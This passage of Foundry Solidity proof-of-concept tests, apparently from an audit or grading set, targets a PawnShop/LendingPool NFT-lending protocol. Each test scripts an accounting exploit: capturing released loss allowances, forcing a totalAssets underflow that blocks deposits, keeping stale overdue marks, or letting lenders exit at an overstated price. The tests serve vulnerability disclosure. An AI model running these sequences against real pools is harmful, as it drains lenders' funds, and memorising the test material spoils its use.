    function setUp() public {
        vm.chainId(1);
        vm.warp(1_800_000_000);
        vm.deal(alice, 100 ether);
        vm.deal(bob, 100 ether);
        token = new LaunchToken();
        weth = new WETH9Mock();
        shop = new PawnShop(owner, address(token), address(weth), vm.addr(KEY));
        pool = shop.lendingPool();
        SeatMock template = new SeatMock();
        vm.etch(shop.IDENTITY_COLLECTION(), address(template).code);
        nft = SeatMock(shop.IDENTITY_COLLECTION());
        _floor(1 ether);
        vm.prank(owner);
        shop.setNewLoansPaused(false);
        vm.prank(bob);
        pool.depositETH{value: 5 ether}(bob);
    }

    function _floor(uint256 price) internal {
        OracleAttestation.Attestation memory a;
        a.requestId = keccak256(abi.encode("scratch", ++nonce));
        a.chainId = 1;
        a.questionHash = FLOOR_QUESTION;
        a.answerType = 3;
        a.answer = abi.encode(price);
        a.figure = price;
        a.fromBlock = 100;
        a.toBlock = 200;
        a.blockHash = bytes32(uint256(7));
        a.panelJobId = keccak256("panel");
        a.panelSize = 5;
        a.quorum = 4;
        a.agreed = 4;
        a.issuedAt = uint64(vm.getBlockTimestamp());
        a.expiresAt = uint64(vm.getBlockTimestamp() + 26 hours);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, shop.attestationDigest(a));
        shop.submitFloor(address(nft), a, abi.encodePacked(r, s, v));
    }

    function test_borrowerMarksDepositsRepaysAndTakesTheRelease() public {
        nft.mint(alice, 1);
        vm.startPrank(alice);
        nft.approve(address(shop), 1);
        uint256 id = shop.pawn(address(nft), 1, 0, 0, type(uint256).max);
        vm.stopPrank();
        vm.warp(shop.getLoan(id).due);
        _floor(0.2 ether);
        uint256 bobBefore = pool.previewRedeem(pool.balanceOf(bob));
        vm.prank(alice);
        shop.markOverdue(id);
        assertEq(pool.auctionLoss(id), 0.3 ether);
        uint256 amount = pool.maxDeposit(alice);
        vm.prank(alice);
        pool.depositETH{value: amount}(alice);
        vm.warp(vm.getBlockTimestamp() + 1 days);
        vm.prank(alice);
        shop.repay{value: 0.4 ether}(id);
        assertEq(pool.unvestedRelease(), 0.3 ether);
        vm.warp(vm.getBlockTimestamp() + 7 days);
        uint256 aliceValue = pool.previewRedeem(pool.balanceOf(alice));
        uint256 bobAfter = pool.previewRedeem(pool.balanceOf(bob));
        assertLe(aliceValue, amount + 1e9, "depositor captured the pre-settlement release");
        assertGe(bobAfter + 1e9, bobBefore, "lender who bore the mark is not made whole");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {PawnShop} from "src/PawnShop.sol";
import {LendingPool} from "src/LendingPool.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";

contract JudgeWETH is ERC20 {
    constructor() ERC20("Wrapped Ether", "WETH") {}

    function deposit() external payable {
        _mint(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        _burn(msg.sender, amount);
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok);
    }
}

contract JudgeSeat is ERC721 {
    constructor() ERC721("Seat", "SEAT") {}

    function mint(address to, uint256 id) external {
        _mint(to, id);
    }
}

abstract contract JudgeBase is Test {
    uint256 internal constant KEY = 0xA11CE;
    bytes32 internal constant FLOOR_QUESTION = 0x71ed43868c5c61fe21b72bbbdcc09913d4952a113a393c526e49f3289edf4be1;
    address internal owner = makeAddr("owner");
    address internal alice = makeAddr("borrower");
    address internal bob = makeAddr("lender");
    address internal carol = makeAddr("entrant");
    LaunchToken internal token;
    JudgeWETH internal weth;
    JudgeSeat internal nft;
    PawnShop internal shop;
    LendingPool internal pool;
    uint256 internal nonce;

    function setUp() public {
        vm.chainId(1);
        vm.warp(1_800_000_000);
        vm.deal(alice, 100 ether);
        vm.deal(bob, 100 ether);
        vm.deal(carol, 100 ether);
        token = new LaunchToken();
        weth = new JudgeWETH();
        shop = new PawnShop(owner, address(token), address(weth), vm.addr(KEY));
        pool = shop.lendingPool();
        JudgeSeat template = new JudgeSeat();
        vm.etch(shop.IDENTITY_COLLECTION(), address(template).code);
        nft = JudgeSeat(shop.IDENTITY_COLLECTION());
        vm.prank(owner);
        shop.setNewLoansPaused(false);
        vm.prank(bob);
        pool.depositETH{value: 5 ether}(bob);
        _floor(1 ether);
    }

    function _floor(uint256 price) internal {
        vm.warp(vm.getBlockTimestamp() + 1);
        OracleAttestation.Attestation memory a;
        a.requestId = keccak256(abi.encode("floor", ++nonce));
        a.chainId = 1;
        a.questionHash = FLOOR_QUESTION;
        a.answerType = 3;
        a.answer = abi.encode(price);
        a.figure = price;
        a.fromBlock = 100;
        a.toBlock = 200;
        a.blockHash = bytes32(uint256(7));
        a.panelJobId = keccak256("panel");
        a.panelSize = 5;
        a.quorum = 4;
        a.agreed = 4;
        a.issuedAt = uint64(vm.getBlockTimestamp());
        a.expiresAt = uint64(vm.getBlockTimestamp() + 24 hours);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, shop.attestationDigest(a));
        shop.submitFloor(address(nft), a, abi.encodePacked(r, s, v));
    }

    function _pawn(uint256 tokenId) internal returns (uint256 id) {
        nft.mint(alice, tokenId);
        vm.startPrank(alice);
        nft.approve(address(shop), tokenId);
        id = shop.pawn(address(nft), tokenId, 0, 0, type(uint256).max);
        vm.stopPrank();
    }
}

/// @notice LendingPool.markAuctionLoss(mayDecrease = true), reached through the permissionless
/// PawnShop.startAuction, lowers expectedAuctionLoss in one step with none of the F4 vesting that
/// settleAuction applies to the same kind of release. A deposit made at the marked price, followed by
/// startAuction and an immediate redemption, takes the released allowance from the lenders who bore the mark.
contract InstantAllowanceReleaseProof is JudgeBase {
    function test_depositStartAuctionRedeemRoundTripEarnsNothing() public {
        uint256 id = _pawn(1);
        PawnShop.Loan memory loan = shop.getLoan(id);
        assertEq(loan.principal, 0.4 ether);

        // Floor halves; at due anyone books the expected loss 0.4 - 0.25 = 0.15 ETH (F5).
        vm.warp(loan.due);
        _floor(0.5 ether);
        shop.markOverdue(id);
        assertEq(pool.auctionLoss(id), 0.15 ether);

        // Carol enters at the marked price inside the grace period.
        vm.prank(carol);
        uint256 shares = pool.depositETH{value: 5 ether}(carol);

        // After the grace period carol starts the auction herself: the opening price is the fresh floor,
        // so the allowance drops to zero at once and nothing vests the rise in totalAssets().
        vm.warp(loan.due + shop.GRACE() + 1);
        _floor(0.5 ether);
        vm.prank(carol);
        shop.startAuction(id);
        assertEq(pool.auctionLoss(id), 0);

        vm.prank(carol);
        pool.redeemETH(shares, carol, carol);
        uint256 withdrawn = pool.claimable(carol);
        emit log_named_uint("carol deposited", 5 ether);
        emit log_named_uint("carol withdrew", withdrawn);

        // Expected: an entry and exit around a permissionless allowance decrease earns nothing, as on the
        // settleAuction path where the release vests over seven days. Actual: carol leaves with ~0.076 ETH
        // of the 0.15 ETH that belongs to bob.
        assertLe(withdrawn, 5 ether, "deposit/startAuction/redeem round trip captured the released allowance");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {PawnShop} from "src/PawnShop.sol";
import {LendingPool} from "src/LendingPool.sol";
import {OracleAttestation, OracleAttestationConsumer} from "src/OracleAttestation.sol";

contract WETH9Mock is ERC20 {
    constructor() ERC20("Wrapped Ether", "WETH") {}

    function deposit() external payable {
        _mint(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        _burn(msg.sender, amount);
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok);
    }
}

contract SeatMock is ERC721 {
    constructor() ERC721("Seat", "SEAT") {}

    function mint(address to, uint256 id) external {
        _mint(to, id);
    }
}

/// @notice totalAssets() subtracts the unvested F4 release on top of max(reserve, expectedAuctionLoss).
/// Nothing bounds that release by the cash and outstanding principal that remain after lenders withdraw
/// the idle balance, so marking the remaining loans as lost makes the subtraction underflow and every
/// function that reads totalAssets() reverts until the release has vested (up to 7 days).
contract TotalAssetsUnderflowTest is Test {
    uint256 internal constant KEY = 0xA11CE;
    bytes32 internal constant FLOOR_QUESTION = 0x71ed43868c5c61fe21b72bbbdcc09913d4952a113a393c526e49f3289edf4be1;
    address internal owner = makeAddr("owner");
    address internal alice = makeAddr("borrower");
    address internal bob = makeAddr("lender");
    address internal carol = makeAddr("new lender");
    LaunchToken internal token;
    WETH9Mock internal weth;
    SeatMock internal nft;
    PawnShop internal shop;
    LendingPool internal pool;
    uint256 internal nonce;

    function setUp() public {
        vm.chainId(1);
        vm.warp(1_800_000_000);
        vm.deal(alice, 100 ether);
        vm.deal(bob, 100 ether);
        vm.deal(carol, 100 ether);
        token = new LaunchToken();
        weth = new WETH9Mock();
        shop = new PawnShop(owner, address(token), address(weth), vm.addr(KEY));
        pool = shop.lendingPool();
        SeatMock template = new SeatMock();
        vm.etch(shop.IDENTITY_COLLECTION(), address(template).code);
        nft = SeatMock(shop.IDENTITY_COLLECTION());
        vm.prank(owner);
        shop.setNewLoansPaused(false);
        vm.prank(bob);
        pool.depositETH{value: 5 ether}(bob);
    }

    function _floor(uint256 price) internal {
        OracleAttestation.Attestation memory a;
        a.requestId = keccak256(abi.encode("scratch", ++nonce));
        a.chainId = 1;
        a.questionHash = FLOOR_QUESTION;
        a.answerType = 3;
        a.answer = abi.encode(price);
        a.figure = price;
        a.fromBlock = 100;
        a.toBlock = 200;
        a.blockHash = bytes32(uint256(7));
        a.panelJobId = keccak256("panel");
        a.panelSize = 5;
        a.quorum = 4;
        a.agreed = 4;
        a.issuedAt = uint64(vm.getBlockTimestamp());
        a.expiresAt = uint64(vm.getBlockTimestamp() + 24 hours);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, shop.attestationDigest(a));
        shop.submitFloor(address(nft), a, abi.encodePacked(r, s, v));
    }

    function _pawn(uint256 tokenId) internal returns (uint256 id) {
        nft.mint(alice, tokenId);
        vm.startPrank(alice);
        nft.approve(address(shop), tokenId);
        id = shop.pawn(address(nft), tokenId, 1, 0, type(uint256).max);
        vm.stopPrank();
    }

    function test_totalAssetsUnderflowsAfterReleaseWithdrawalAndLoss() public {
        // Loan A: floor 2.5 ETH -> 1 ETH principal. Loan B: floor 5 ETH -> 2 ETH principal. 7-day terms.
        _floor(2.5 ether);
        uint256 a = _pawn(1);
        vm.warp(vm.getBlockTimestamp() + 1);
        _floor(5 ether);
        uint256 b = _pawn(2);
        assertEq(pool.totalBorrowed(), 3 ether);

        // Both due. The floor collapses; loan A is marked (loss 1 ETH) and then repaid in full,
        // which releases that 1 ETH allowance as a 7-day vesting stream (F4).
        vm.warp(vm.getBlockTimestamp() + 7 days);
        _floor(1);
        shop.markOverdue(a);
        assertEq(pool.auctionLoss(a), 1 ether);
        vm.prank(alice);
        shop.repay{value: 1 ether}(a);
        assertEq(pool.unvestedRelease(), 1 ether);

        // The lender withdraws what is idle, as any lender may.
        vm.startPrank(bob);
        uint256 shares = pool.maxRedeem(bob);
        pool.redeemETH(shares, bob, bob);
        vm.stopPrank();
        assertLt(pool.idleAssets(), 1e9, "idle cash should be dust after the withdrawal");

        // Anyone marks loan B overdue: loss 2 ETH = all outstanding principal.
        shop.markOverdue(b);
        assertEq(pool.expectedAuctionLoss(), 2 ether);

        // cash(dust) + borrowed(2) - max(0, 2) - unvestedRelease(1) < 0: this must not revert.
        uint256 assets = pool.totalAssets();
        assertLe(assets, 3 ether);

        // And the pool must keep accepting deposits (maxDeposit/previewDeposit read totalAssets too).
        vm.prank(carol);
        pool.depositETH{value: 1 ether}(carol);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {PawnShop} from "src/PawnShop.sol";
import {LendingPool} from "src/LendingPool.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";

contract JudgeWETH is ERC20 {
    constructor() ERC20("Wrapped Ether", "WETH") {}

    function deposit() external payable {
        _mint(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        _burn(msg.sender, amount);
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok);
    }
}

contract JudgeSeat is ERC721 {
    constructor() ERC721("Seat", "SEAT") {}

    function mint(address to, uint256 id) external {
        _mint(to, id);
    }
}

abstract contract JudgeBase is Test {
    uint256 internal constant KEY = 0xA11CE;
    bytes32 internal constant FLOOR_QUESTION = 0x71ed43868c5c61fe21b72bbbdcc09913d4952a113a393c526e49f3289edf4be1;
    address internal owner = makeAddr("owner");
    address internal alice = makeAddr("borrower");
    address internal bob = makeAddr("lender");
    address internal carol = makeAddr("entrant");
    LaunchToken internal token;
    JudgeWETH internal weth;
    JudgeSeat internal nft;
    PawnShop internal shop;
    LendingPool internal pool;
    uint256 internal nonce;

    function setUp() public {
        vm.chainId(1);
        vm.warp(1_800_000_000);
        vm.deal(alice, 100 ether);
        vm.deal(bob, 100 ether);
        vm.deal(carol, 100 ether);
        token = new LaunchToken();
        weth = new JudgeWETH();
        shop = new PawnShop(owner, address(token), address(weth), vm.addr(KEY));
        pool = shop.lendingPool();
        JudgeSeat template = new JudgeSeat();
        vm.etch(shop.IDENTITY_COLLECTION(), address(template).code);
        nft = JudgeSeat(shop.IDENTITY_COLLECTION());
        vm.prank(owner);
        shop.setNewLoansPaused(false);
        vm.prank(bob);
        pool.depositETH{value: 5 ether}(bob);
        _floor(1 ether);
    }

    function _floor(uint256 price) internal {
        vm.warp(vm.getBlockTimestamp() + 1);
        OracleAttestation.Attestation memory a;
        a.requestId = keccak256(abi.encode("floor", ++nonce));
        a.chainId = 1;
        a.questionHash = FLOOR_QUESTION;
        a.answerType = 3;
        a.answer = abi.encode(price);
        a.figure = price;
        a.fromBlock = 100;
        a.toBlock = 200;
        a.blockHash = bytes32(uint256(7));
        a.panelJobId = keccak256("panel");
        a.panelSize = 5;
        a.quorum = 4;
        a.agreed = 4;
        a.issuedAt = uint64(vm.getBlockTimestamp());
        a.expiresAt = uint64(vm.getBlockTimestamp() + 24 hours);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, shop.attestationDigest(a));
        shop.submitFloor(address(nft), a, abi.encodePacked(r, s, v));
    }

    function _pawn(uint256 tokenId) internal returns (uint256 id) {
        nft.mint(alice, tokenId);
        vm.startPrank(alice);
        nft.approve(address(shop), tokenId);
        id = shop.pawn(address(nft), tokenId, 0, 0, type(uint256).max);
        vm.stopPrank();
    }
}

/// @notice extend() returns an overdue loan to current status but never clears the expected-loss mark that
/// markOverdue booked, so the pool keeps pricing a phantom loss for the whole new term.
contract ExtendKeepsMarkProof is JudgeBase {
    function test_extendClearsOverdueMark() public {
        uint256 id = _pawn(1);
        PawnShop.Loan memory loan = shop.getLoan(id);
        vm.warp(loan.due);
        _floor(0.5 ether);
        shop.markOverdue(id);
        assertEq(pool.auctionLoss(id), 0.15 ether);
        assertEq(pool.expectedAuctionLoss(), 0.15 ether);

        // The floor recovers and the borrower buys a full new 30-day term.
        _floor(1 ether);
        vm.prank(alice);
        (bool extended,) = address(shop).call{value: 0.012 ether}(abi.encodeCall(shop.extend, (id, 0)));
        if (!extended) {
            // Also acceptable: a marked loan cannot be extended and must be repaid instead.
            assertEq(pool.auctionLoss(id), 0.15 ether);
            return;
        }
        assertTrue(shop.loanActive(id));
        assertGt(shop.getLoan(id).due, vm.getBlockTimestamp());

        // Expected: a current loan with 1 ETH of collateral behind 0.4 ETH carries no overdue mark (or the
        // mark was moved into the F4 release stream). Actual: the 0.15 ETH mark stays for the whole new
        // term and every redemption during it is paid on the phantom loss.
        assertEq(pool.auctionLoss(id), 0, "overdue mark survives the extension");
        assertEq(pool.expectedAuctionLoss(), 0, "expectedAuctionLoss still carries the stale mark");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {PawnShop} from "src/PawnShop.sol";
import {LendingPool} from "src/LendingPool.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";

contract JudgeWETH is ERC20 {
    constructor() ERC20("Wrapped Ether", "WETH") {}

    function deposit() external payable {
        _mint(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        _burn(msg.sender, amount);
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok);
    }
}

contract JudgeSeat is ERC721 {
    constructor() ERC721("Seat", "SEAT") {}

    function mint(address to, uint256 id) external {
        _mint(to, id);
    }
}

abstract contract JudgeBase is Test {
    uint256 internal constant KEY = 0xA11CE;
    bytes32 internal constant FLOOR_QUESTION = 0x71ed43868c5c61fe21b72bbbdcc09913d4952a113a393c526e49f3289edf4be1;
    address internal owner = makeAddr("owner");
    address internal alice = makeAddr("borrower");
    address internal bob = makeAddr("lender");
    address internal carol = makeAddr("entrant");
    LaunchToken internal token;
    JudgeWETH internal weth;
    JudgeSeat internal nft;
    PawnShop internal shop;
    LendingPool internal pool;
    uint256 internal nonce;

    function setUp() public {
        vm.chainId(1);
        vm.warp(1_800_000_000);
        vm.deal(alice, 100 ether);
        vm.deal(bob, 100 ether);
        vm.deal(carol, 100 ether);
        token = new LaunchToken();
        weth = new JudgeWETH();
        shop = new PawnShop(owner, address(token), address(weth), vm.addr(KEY));
        pool = shop.lendingPool();
        JudgeSeat template = new JudgeSeat();
        vm.etch(shop.IDENTITY_COLLECTION(), address(template).code);
        nft = JudgeSeat(shop.IDENTITY_COLLECTION());
        vm.prank(owner);
        shop.setNewLoansPaused(false);
        vm.prank(bob);
        pool.depositETH{value: 5 ether}(bob);
        _floor(1 ether);
    }

    function _floor(uint256 price) internal {
        vm.warp(vm.getBlockTimestamp() + 1);
        OracleAttestation.Attestation memory a;
        a.requestId = keccak256(abi.encode("floor", ++nonce));
        a.chainId = 1;
        a.questionHash = FLOOR_QUESTION;
        a.answerType = 3;
        a.answer = abi.encode(price);
        a.figure = price;
        a.fromBlock = 100;
        a.toBlock = 200;
        a.blockHash = bytes32(uint256(7));
        a.panelJobId = keccak256("panel");
        a.panelSize = 5;
        a.quorum = 4;
        a.agreed = 4;
        a.issuedAt = uint64(vm.getBlockTimestamp());
        a.expiresAt = uint64(vm.getBlockTimestamp() + 24 hours);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, shop.attestationDigest(a));
        shop.submitFloor(address(nft), a, abi.encodePacked(r, s, v));
    }

    function _pawn(uint256 tokenId) internal returns (uint256 id) {
        nft.mint(alice, tokenId);
        vm.startPrank(alice);
        nft.approve(address(shop), tokenId);
        id = shop.pawn(address(nft), tokenId, 0, 0, type(uint256).max);
        vm.stopPrank();
    }
}

/// @notice Entries are priced on totalAssets(), which already subtracts a marked-but-unsettled loss. A
/// depositor who enters after markOverdue and before the settlement buys the reversal of that mark: when
/// the borrower repays, settleAuction vests the whole allowance to all holders pro rata. The borrower of the
/// marked loan can run the cycle themselves with no risk.
contract PreSettlementEntryProof is JudgeBase {
    function test_entrantBetweenMarkAndRepayDoesNotProfit() public {
        uint256 id = _pawn(1);
        PawnShop.Loan memory loan = shop.getLoan(id);
        uint256 bobBefore = pool.previewRedeem(pool.balanceOf(bob));

        // At due the floor is 0.2 ETH; alice marks her own loan: 0.4 - 0.1 = 0.3 ETH expected loss.
        vm.warp(loan.due);
        _floor(0.2 ether);
        vm.prank(alice);
        shop.markOverdue(id);
        assertEq(pool.auctionLoss(id), 0.3 ether);

        // Alice deposits at the depressed price (the mark also widened maxDeposit by 0.3 ETH).
        uint256 room = pool.maxDeposit(alice);
        vm.prank(alice);
        pool.depositETH{value: room}(alice);

        // Inside the grace period she repays; the 0.3 ETH allowance is released into the 7-day stream.
        vm.warp(loan.due + 1 days);
        vm.prank(alice);
        shop.repay{value: loan.principal}(id);
        assertEq(pool.unvestedRelease(), 0.3 ether);

        vm.warp(loan.due + 1 days + 7 days);
        uint256 aliceWorth = pool.previewRedeem(pool.balanceOf(alice));
        uint256 bobAfter = pool.previewRedeem(pool.balanceOf(bob));
        emit log_named_uint("alice deposited", room);
        emit log_named_uint("alice worth after vest", aliceWorth);
        emit log_named_uint("bob before mark", bobBefore);
        emit log_named_uint("bob after vest", bobAfter);

        // Expected: the released allowance returns to bob, who bore the mark; alice's riskless 8-day
        // position is worth what she paid. Actual: alice gains ~0.159 ETH and bob ends below his pre-mark value.
        assertLe(aliceWorth, room + 1, "entrant captured the release of a mark it never bore");
        assertGe(bobAfter + 1, bobBefore, "lender who bore the mark is not made whole by its release");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {PawnShop} from "src/PawnShop.sol";
import {LendingPool} from "src/LendingPool.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";

contract ProofWETH is ERC20 {
    constructor() ERC20("Wrapped Ether", "WETH") {}

    function deposit() external payable {
        _mint(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        _burn(msg.sender, amount);
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok);
    }
}

/// @dev A seat collection whose issuer can revoke (burn) a seat, as the identity.md collection can.
contract ProofSeat is ERC721 {
    constructor() ERC721("Seat", "SEAT") {}

    function mint(address to, uint256 id) external {
        _mint(to, id);
    }

    function revoke(uint256 id) external {
        _burn(id);
    }
}

/// @notice PawnShop.markOverdue books `principal - min(principal, floor / 2)` without asking the vault whether
/// it still holds the collateral. For a loan whose seat was revoked, nothing can be recovered, yet the mark
/// is priced as if half the floor could be: with a 1 ETH floor and a 0.4 ETH principal the booked loss is 0.
/// From the due date until the auction can start (GRACE = 3 days) the pool's book is overstated by the whole
/// principal, and a lender who exits in that window leaves the entire loss to the lenders who stay.
/// Fails on the current source; passes once markOverdue uses recovery 0 when the vault no longer holds the token.
contract SeizedOverdueProof is Test {
    uint256 internal constant KEY = 0xA11CE;
    address internal owner = makeAddr("owner");
    address internal alice = makeAddr("borrower");
    address internal bob = makeAddr("lender who exits during grace");
    address internal carol = makeAddr("lender who stays");
    PawnShop internal shop;
    LendingPool internal pool;
    ProofSeat internal seat;
    uint256 internal nonce;

    function setUp() public {
        vm.chainId(1);
        vm.warp(1_800_000_000);
        vm.deal(alice, 10 ether);
        vm.deal(bob, 10 ether);
        vm.deal(carol, 10 ether);
        LaunchToken token = new LaunchToken();
        ProofWETH weth = new ProofWETH();
        shop = new PawnShop(owner, address(token), address(weth), vm.addr(KEY));
        pool = shop.lendingPool();
        ProofSeat template = new ProofSeat();
        vm.etch(shop.IDENTITY_COLLECTION(), address(template).code);
        seat = ProofSeat(shop.IDENTITY_COLLECTION());
        _floor(1 ether);
        vm.prank(owner);
        shop.setNewLoansPaused(false);
        vm.prank(bob);
        pool.depositETH{value: 2.5 ether}(bob);
        vm.prank(carol);
        pool.depositETH{value: 2.5 ether}(carol);
    }

    function _floor(uint256 price) internal {
        OracleAttestation.Attestation memory a;
        a.requestId = keccak256(abi.encode("proof oracle", ++nonce));
        a.chainId = 1;
        a.questionHash = shop.IDENTITY_QUESTION_HASH();
        a.answerType = 3;
        a.answer = abi.encode(price);
        a.figure = price;
        a.fromBlock = 100;
        a.toBlock = 200;
        a.blockHash = bytes32(uint256(7));
        a.panelJobId = keccak256("proof panel");
        a.panelSize = 5;
        a.quorum = 4;
        a.agreed = 4;
        a.issuedAt = uint64(block.timestamp);
        a.expiresAt = uint64(block.timestamp + 26 hours);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, shop.attestationDigest(a));
        shop.submitFloor(address(seat), a, abi.encodePacked(r, s, v));
    }

    function test_overdueMarkMustBookTheFullPrincipalWhenCollateralIsGone() public {
        seat.mint(alice, 1);
        vm.startPrank(alice);
        seat.approve(address(shop), 1);
        uint256 id = shop.pawn(address(seat), 1, 0, 0, type(uint256).max);
        vm.stopPrank();
        assertEq(shop.getLoan(id).principal, 0.4 ether);

        // The issuer revokes the seat: the vault holds nothing and the shop can see that.
        seat.revoke(1);
        vm.warp(shop.getLoan(id).due);
        _floor(1 ether);
        shop.markOverdue(id);

        // Expected: the loan is marked as a total loss (0.4 ETH). Actual: 0, priced as if half the floor were recoverable.
        assertEq(pool.auctionLoss(id), 0.4 ether, "overdue mark ignores the missing collateral");

        // Consequence of the gap: bob exits during the grace period at the overstated price.
        // The book is 5.0102 ETH (fees vested) less a 0.4 ETH loan that is a certain total loss: 4.6102 ETH, half
        // of which is bob's. He must not be able to take more than that.
        vm.prank(bob);
        uint256 bobTake = pool.redeemETH(pool.maxRedeem(bob), bob, bob);
        assertLe(bobTake, 2.3051 ether, "an exit during grace is priced above the real book");

        // Carol, who stays, ends up with less than her half once the auction books what was known all along.
        vm.warp(shop.getLoan(id).due + shop.GRACE() + 1);
        _floor(1 ether);
        shop.startAuction(id);
        assertEq(pool.auctionLoss(id), 0.4 ether);
        assertGe(pool.previewRedeem(pool.balanceOf(carol)) + 2, 2.3051 ether, "the staying lender bears bob's share too");
    }

    receive() external payable {}
}